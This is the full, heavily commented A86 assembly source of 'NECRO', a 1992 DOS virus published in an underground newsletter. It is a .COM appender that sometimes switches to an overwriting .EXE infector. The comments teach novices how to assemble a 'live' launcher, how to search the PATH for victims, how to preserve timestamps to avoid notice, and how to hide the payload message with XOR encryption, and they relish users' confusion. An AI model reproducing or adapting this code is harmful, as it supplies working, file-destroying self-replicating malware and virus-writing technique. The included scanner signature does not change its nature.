; A86 SOURCE CODE for: ; ; ++===================================================++ ; || NECRO (A.K.A. 'SKULL' virus) || ; || The 666 byte Dual Replicator || ; || DEC 1992 by Primal Fury, Lehigh Valley, PA || ; ++===================================================++ ; -=Prepared for Crypt Newsletter 11=- ; ; Here's a virus that's actually two viruses in one. The main virus is a ; a direct action, appending .COM infector. It will search the system path ; for .COMs to infect, and may infect files on the path in preference to ; to those in the current directory (if no path is set, it stays in the ; current directory). Roughly one out of every eight infections (on a ran- ; dom basis) will be non-standard. In these infections, NECRO will toggle to ; an overwriting .EXE infector. ; ; ; This .EXE infector is composed of much of the same code as the ; COM infector -- the virus alternates between the two modes of infection ; using a 'master switch' which is hooked up to a simple randomization ; engine. The master switch, when thrown, trips a series of auxilliary ; switches which alter the virus' behavior. This saves on bytes and is ; therefore much better than having the virus drop an entirely independent ; .EXE overwriter. I hope to expand upon this 'self-programming' concept ; in future viruses. ; Infected .COM's should function as intended after the viral code appended to ; them has finished doing its thing. But infected .EXE's are ruined. These ; (provided they are under about 64K in length) will, when executed, pass ; their illness on to the next uninfected .EXE within the current directory, ; displaying the following graphic & message: ; ������������ ; �����۲�������� ;�۲�������������� You cant execute this file: ;�����۲����� � Its already dead! ; �����۲�������� ; ���۲�߲����� ; ���۲��޲���� ; ����� ; SKULL will then return the baffled user to the DOS prompt. I leave it to ; your imagination to picture the consternation on the novice's face ; as he tries to isolate the source of this overwriting infection which ; seems to pop up again and again in different directories. A very ; observant user may notice a file length increase of exactly 666 bytes in ; infected .COM's. Infected .EXE's will not increase in length unless they ; are less than ~200 bytes to begin with. Note that overwritten .EXE's larger ; than 64K will fail to load and will be non-infectious. Like Popoolar ; Science, the virus renders these programs into a .COM-like in structure. ; DOS will NOT execute these files. In any case, the programs are ruined ; by SKULL. As of this release, NECRO avoids files that are read-only or ; hidden, so these files are be safe from the virus (for now...) ; CREDITS: DARK ANGEL -- for his COM infector replicatory code. (D.A.) ; NOWHERE MAN -- for his VCL 1.0's path-searching routine. (N.M.) ; ; ; Except where noted, I have commented the code with the novice ; programmer in mind. In the places so noted, D.A.'s and N.M.'s com- ; ments, supplied from VCL 1.0 and PS-MPC assembly libraries, have been ; left intact. ; To assemble, use Isaacson's A86 to generate a .COMfile directly from ; this listing. You will have a live NECRO launcher. MASM/TASM ; compatible assemblers will require the addition of a declarative pair. ; ; Partial viral signature suitable for loading into TBScan's VIRSCAN.DAT, ; SCAN, or F-PROT 2.0x: ; [Necro] ; A9 01 00 74 29 E8 6A 00 8C C8 8E D8 8E C0 32 C0 Start: db 0e9h ; jump to find_start dw 0 Find_start: call next ;common technique to allow virus to next: pop bp ;find its own code. On exit, bp sub bp, offset next ;points to start of code. lea si, [bp+offset stuff] ;Prepare to restore orig. 3 bytes. mov di, 100h ;push 100h, where all COMs start in push di ;memory, & where control will be ;returned to host file. movsw ;restore the 3 bytes formerly relo- movsb ;cated by the virus upon infection. mov di,bp ;point DI to start of virus. lea dx, [bp+offset dta] ;set new Disk Transfer Address, so call set_dta ;virus won't fuck up original. call search_files ;call path-search/infection routine. jmp quit ;when done, return control to ;host file. ;Nowhere Man's VCL 1.0 path search routine, slightly modified for ;compatibility with Dark Angel's code, and with 'master infection-mode ;switch' added. N.M.'s original comments have been retained for your ;enlightenment. search_files: mov bx,di ; BX points to the virus push bp ; Save BP mov byte ptr [bp+offset pathstore],'\' ;Start with a backslash mov ah,047h ; DOS get current dir function xor dl,dl ; DL holds drive # (current) lea si,[bp+offset pathstore+1] ; SI points to 64-byte buffer int 021h call traverse_path ; Start the traversal traversal_loop: cmp word ptr [bx + path_ad],0 ; Was the search unsuccessful? je done_searching ; If so then we're done call found_subdir ; Otherwise copy the subdirectory mov ax,cs ; AX holds the code segment mov ds,ax ; Set the data and extra mov es,ax ; segments to the code segment xor al,al ; Zero AL stosb ; NULL-terminate the directory mov ah,03Bh ; DOS change directory function lea dx,[bp+offset pathstore+65] ; DX points to the directory int 021h ;The Master Switch, tied whimsically to the system clock: mov ah,2ch ;DOS get system time. int 21h ; cmp dl,13 ;is 1/100th second > 13? jg call_infector ;if so, stay in COM infector ;mode (the default). mov si,3 ;throw switch for EXE infect. ;back to Nowhere Man's code: call_infector: push di call find_files ; Try to infect a file. pop di jnc done_searching ; If successful, exit jmp short traversal_loop ; Keep checking the PATH done_searching: mov ah,03Bh ; DOS change directory function lea dx,[bp+offset pathstore] ; DX points to old directory int 021h cmp word ptr [bx + path_ad],0 ; Did we run out of directories? jne at_least_tried ; If not, exit stc ; Set carry flag for failure at_least_tried: pop bp ; Restore BP ret ; Return to caller com_mask db "*.COM",0 ; Mask for all .COM files traverse_path: mov es,word ptr cs:[002Ch] ; ES holds the enviroment segment xor di,di ; DI holds the starting offset find_path: lea si,[bx + ath_string] ; SI points to "PATH=" lodsb ; Load the "P" into AL mov cx,08000h ; Check the first 32767 bytes repne scasb ; Search until the byte is found mov cx,4 ; Check the next four bytes check_next_4: lodsb ; Load the next letter of "PATH=" scasb ; Compare it to the environment jne find_path ; If there not equal try again loop check_next_4 ; Otherwise keep checking mov word ptr [bx + path_ad],di ; Save the PATH address mov word ptr [bx + path_ad + 2],es ; Save the PATH's segment ret ; Return to caller ath_string db "PATH=" ; The PATH string to search for path_ad dd ? ; Holds the PATH's address found_subdir: lds si,dword ptr [bx + path_ad] ; DS:SI points to PATH lea di,[bp+offset pathstore+65] ; DI points to the work buffer push cs ; Transfer CS into ES for pop es ; byte transfer move_subdir: lodsb ; Load the next byte into AL cmp al,';' ; Have we reached a separator? je moved_one ; If so we're done copying or al,al ; Are we finished with the PATH? je moved_last_one ; If so get out of here stosb ; Store the byte at ES:DI jmp short move_subdir ; Keep transfering characters moved_last_one: xor si,si ; Zero SI to signal completion moved_one: mov word ptr es:[bx + path_ad],si ; Store SI in the path address ret ; Return to caller ;O.K. -- Now here's an important 'architectural' point: The following ;code (down to the next inset) will never be executed within the COM ;appender (that viral code jumps over it). It will, however be the first ;thing executed within overwritten EXE files. Why? Because in EXE infec- ;tion mode, everything from EXFECT on down (but nothing previous) is ;written over the beginning of the EXE host file. exfect: call next_two ;Here again we see the old trick ;for pointing BP to start of next_two: pop bp ;viral code. (possibly should sub bp, offset next_two ;have been subroutined [?]). mov si,3 ;throw master switch for EXE ;infection, so infection code ;below knows to use that mode! lea dx,[bp+offset dta] ;set DTA: This would normally call set_dta ;be utterly ridiculous (!) in an ;overwriting virus but is used ;here to maintain compatibility ;with the infection code. call find_files ;try to infect another EXE. jmp prequit ;display message & quit to DOS. ;Now we're back to Dark Angel's code, expanded to save & restore file ;date/time-stamp, and of course to accomodate the new EXE overwriting code ;and infection-mode 'switching system'. This is where infection actually ;takes place. find_files: push bp ;for compatibility with path-search. mov ah, 4eh ;phunction phor phinding phirst phile ;that phits phile-mask. tryanother: lea dx, [bx+com_mask] ;by default, look for a .COM extension. cmp si, 3 ;is the EXE infector switch thrown? jne short look ;if not go on, else qeue up '*.EXE' mask lea dx, [bp+exemask] ;in place of '*.COM'. look: xor cx, cx ;attribute mask - find only normal int 21h ;attributes. jnc open_file ;Have we run out of candidates in this pop bp ;directory? If not go on, else return. ret ;note: a candidate file matches the file ;mask & has normal attributes. open_file: mov ax, 3D02h ;DOS open file function. lea dx, [bp+offset dta+30] ;get file name out of DTA (put there ;for us by the 4eh or 4fh function). int 21h xchg ax, bx mov ah, 3fh ;read the first 3 bytes of file & put lea dx, [bp+stuff] ;them in 'stuff' buffer, where we can mov cx, 3 ;inspect them for previous infection. int 21h cmp si,3 ;is the EXE infector switch thrown? jne short comcheck ;if not, use the COM file checker. mov di,dx ;otherwise, check EXE for infection. cmp byte ptr [di], 4dh ;is the first byte of the EXE an 'M'? jne short searchloop ;no? then already fucked. Keep looking. jmp infect_file ;otherwise let's infect it. comcheck: ;DARK ANGEL'S COMMENTS: mov ax, word ptr [bp+dta+26] ;"ax = filesize mov cx, word ptr [bp+stuff+1] ;jmp location add cx, eov - find_start + 3 ;convert to filesize cmp ax, cx ;if same, already infected jnz short infect_file ;so quit out of here" searchloop: call close ;close the file. mov ah, 4fh ;DOS 'find next file' function. jmp short tryanother ;go back up & try to find new victim. infect_file: mov cx, word ptr [bp+dta+22] ;Read file date & time mov dx, word ptr [bp+dta+24] ;stamps from DTA & store push cx ;them for retrieval after push dx ;infection is complete. cmp si, 3 ;branch if this is to be jne short comfect ;a COM infection. other- ;wise, we now replicate the ;EXE overwriting virus. xor al, al ;go to the beginning of call f_ptr ;the file. mov ah, 40h ;write to file function. mov cx, eov - exfect ;write EXFECT through EOV lea dx, [bp+exfect] ;to the EXE file. [another int 21h ;EXE is now our slave.] jmp short finishfect ;now, finish up. comfect: ;COM infection routine. ;SAYETH DARK ANGEL: ;"Calculate the offset of the jmp. sub ax, 3 ;ax = filesize - 3" mov word ptr [bp+writebuffer], ax ;store jump offset in buffer. xor al, al ;null AL (write will start call f_ptr ;at byte 0 of file. move ;file pointer there). mov ah, 40h ;write to file function. mov cx, 3 ;we'll write 3 bytes, namely lea dx, [bp+e9] ;the contents of E9 buffer. int 21h ;victim file now begins with ;a jump to the viral code! mov al, 2 ;now move file pointer to call f_ptr ;the end of the victim file. mov ah, 40h ;write to file again. mov cx, eov - find_start ;Namely, write the main lea dx, [bp+find_start] ;viral code. int 21h ;virus is now appended to ;the file. finishfect: ;now to clean up a little. pop dx ;get old file date/time- pop cx ;stamp off of stack. mov ax, 5701h ;DOS set file date/time int 21h ;stamp. (Otherwise, they ;would be left set to date ;& time of infection). pop bp ;path-searcher will want ;it's old bit pointer back. close: mov ah, 3eh ;DOS close file function. int 21h ret ;return to CALL_INFECTOR. ;end of infection routine. primal db "�����Ͻ���������������" ;an encrypted text ;string, mainly here to pad appended virus length out to 666 ;bytes. 'Tight Code' purists will shit a brick over this. ;the COM infector never uses the PREQUIT routine below. Only the EXFECT ;routine (which is only used by the EXE overwriting virus, for reasons ex- ;plained in the inset above EXFECT) jumps to it. It's the EXE infector's ;message payload. PREQUIT uses a simple encryption/decryption mechanism ;to keep the message hidden from file viewers & such. It may have been ;better (albeit a bit costlier in speed & bytes) to encrypt the entire ;virus (preferably, with polymorphic capabilities tossed in). I hope to ;make this mod in my next variant. But for now, trojan programmers might ;find this routine of interest: prequit: lea si,[bp+offset msg] ;queue up message to be displayed. mov cx,204 ;CX holds length of message. xorloop: ;loop will decrypt & display message. lodsb ;load next byte of message into AL. xor al,128 ;XOR the byte by our key. mov ah,0eh ;BIOS 'teletype' write to screen (the int 10h ;the character is already in AL). loop xorloop ;loop until CX's # of bytes processed. mov ax,4c00h ;exit to DOS function, will return int 21h ;user to DOS prompt. ; Here's the encrypted version of our 'can't execute' message. Note that ; this odd byte pattern may look suspicious to someone in the know using a ; file viewer, but then, so would the unencrypted file_masks and "PATH="! msg db "������\\[[[[[[[[\\����\[[[[[2[[[[[[[[���^[2[[[[[[[[" db "[[[[[]��������������������������庍��^[[[[[22[[[_" db "���[������������������䡍���[[[[[[22[[\\\[_�����[[" db "[[22_2[[[[]������__[[22\^2[[[]��������������22]]]��" ; D.A. SAYS: "Restore the DTA and return control to the original program quit: mov dx, 80h ;Restore current DTA to ;the default @ PSP:80h set_dta: mov ah, 1ah ;Set disk transfer address" int 21h ;so, let it be written, ret ;so, let it be done. f_ptr: mov ah, 42h ;DOS move file pointer xor cx, cx ;DARK ANGEL: cwd ;"equivalent to: xor dx, dx" int 21h ret exemask db "*.EXE",0 ;file-mask for EXEs. ; All commentary from here down is the DARKANGELMEISTER's. Hope you found ; the code useful and/or informative. P.F. signing off... ; Original three bytes of the infected file ; Currently holds a INT 20h instruction and a null byte stuff db 0cdh, 20h, 0 e9 db 0e9h eov equ $ ; End of the virus ; The following variables are stored in the heap space (the area between ; the stack and the code) and are not part of the virus that is written ; to files. writebuffer dw ? ; Scratch area holding the ; JMP offset dta db 42 dup (?) pathstore db 135 dup (?)